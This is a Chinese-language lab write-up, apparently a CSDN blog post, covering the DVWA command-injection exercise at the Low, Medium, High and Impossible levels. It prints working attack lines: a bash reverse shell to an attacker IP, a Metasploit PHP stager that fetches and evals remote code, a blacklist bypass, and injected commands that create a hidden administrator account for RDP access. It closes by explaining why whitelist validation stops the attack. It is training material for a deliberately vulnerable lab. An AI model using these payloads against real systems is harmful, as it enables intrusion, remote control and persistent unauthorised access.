DVWA Command Injection(命令注入)全等级

Command Injection(命令注入)

逻辑运算符“&”和“|”的意思

&&:代表首先执行命令a在执行命令b,但是前提条件是命令a执行正确才会执行命令b,在a执行失败的情况下不会执行b命令。所以又被称为短路运算符。

&:代表首先执行命令a在执行命令b,如果a执行失败,还是会继续执行命令b。也就是说命令b的执行不会受到命令a的干扰,在执行效率上来说“&&”更加高效。

||:代表首先执行a命令在执行b命令,如果a命令执行成功,就不会执行b命令,相反,如果a命令执行不成功,就会执行b命令。

|:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。

命令注入即通过在原本输入框中拼接系统命令的方式,在服务器上执行对应的指令。

在存在执行系统命令的函数,如php中的system、exec、shell_exec等,用户可以传入命令的参数的时候,将恶意的命令拼接其中,就可以造成命令注入攻击。

1. Low

没有做过滤,由于靶机是Linux,所以拼接逻辑运算符 | 可以执行Linux命令

例如:
在这里插入图片描述
在这里插入图片描述

利用
1.nc反弹shell

进入kali,在命令行输入nc -lvp 1234监听本地1234端口
在这里插入图片描述

在DVWA上输入

127.0.0.1 | bash -i >& /dev/tcp/192.168.171.20/1234 0>&1 

bash反弹:首先攻击机监听指定端口,然后靶机执行bash命令向靶机指定端口发送连接请求

bash -i意为创建一个交互式的bash shell

&>意为将标准输出和标准错误都重定向到我们指定的文件中

其中192.168.171.20为 攻击机kali

在这里插入图片描述

返回kali发现反弹shell成功

在这里插入图片描述

2.msf上马

Kali输入msfconsole进入msf平台

输入如下命令

use  exploit/multi/script/web_delivery		//加载Webshell模块
set target PHP								//选择PHP做WebShell
set payload php/meterpreter/reverse_tcp		//设置后门代码为php/meterpreter/reverse_tcp
set lhost 192.168.171.20					//设置本地主机地址

然后输入run或者exploit运行

在这里插入图片描述

把显示的php命令复制

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.171.20:8080/bNGqlYgWB', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

在这里插入图片描述

然后msf已经连接靶机,建立了session

输入sessions 1连接靶机

输入shell进入命令行

在这里插入图片描述

2.Medium

做了基础过滤

&& 和 ; 被过滤成了空

还是可以用&、|、|| 等命令注入

其实过滤并没有啥用

操作和Low一样

3. High

本等级靶机ip为192.168.171.8

源码关键代码:

   $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    ); 

通过源码可以看到过滤掉了 & ; | - $ ) ) ` ||

发现过滤的其实是| 即|加上空格,而单独的|没有被过滤,所以还可以进行命令注入

因为Linux环境暂时没有好的绕过思路,所以High等级的环境用windows系统测试

在dvwa输入如下语句127.0.0.1|net user test passwd /add

该语句的意思是建立一个用户名为test,密码为passwd的账号
在这里插入图片描述

然后输入如下语句127.0.0.1|net localgroup Administrators test /add

该语句的意思是将用户test加入到管理员组里,让他有管理员权限

在这里插入图片描述

然后打开远程桌面连接,输入ip地址和之前新建的的用户名和密码进入靶机系统

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

可以看到已经成功进入靶机的系统了。

4.Impossible

从逻辑上改了,将IP切割为四个部分,且都为数字。

加了token ,ip根据点做了切割,做了四个数,判断他们是否数字。如果不是就输出ERROR。

可以看到,本等级只允许非常严格的输入。 如果不匹配并且没有产生特定结果,则将不允许执行它。 相比于前面2个等级的“黑名单”过滤(允许任何输入并删除不需要的内容),使用“白名单”(仅允许输入ip地址)更加安全。

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值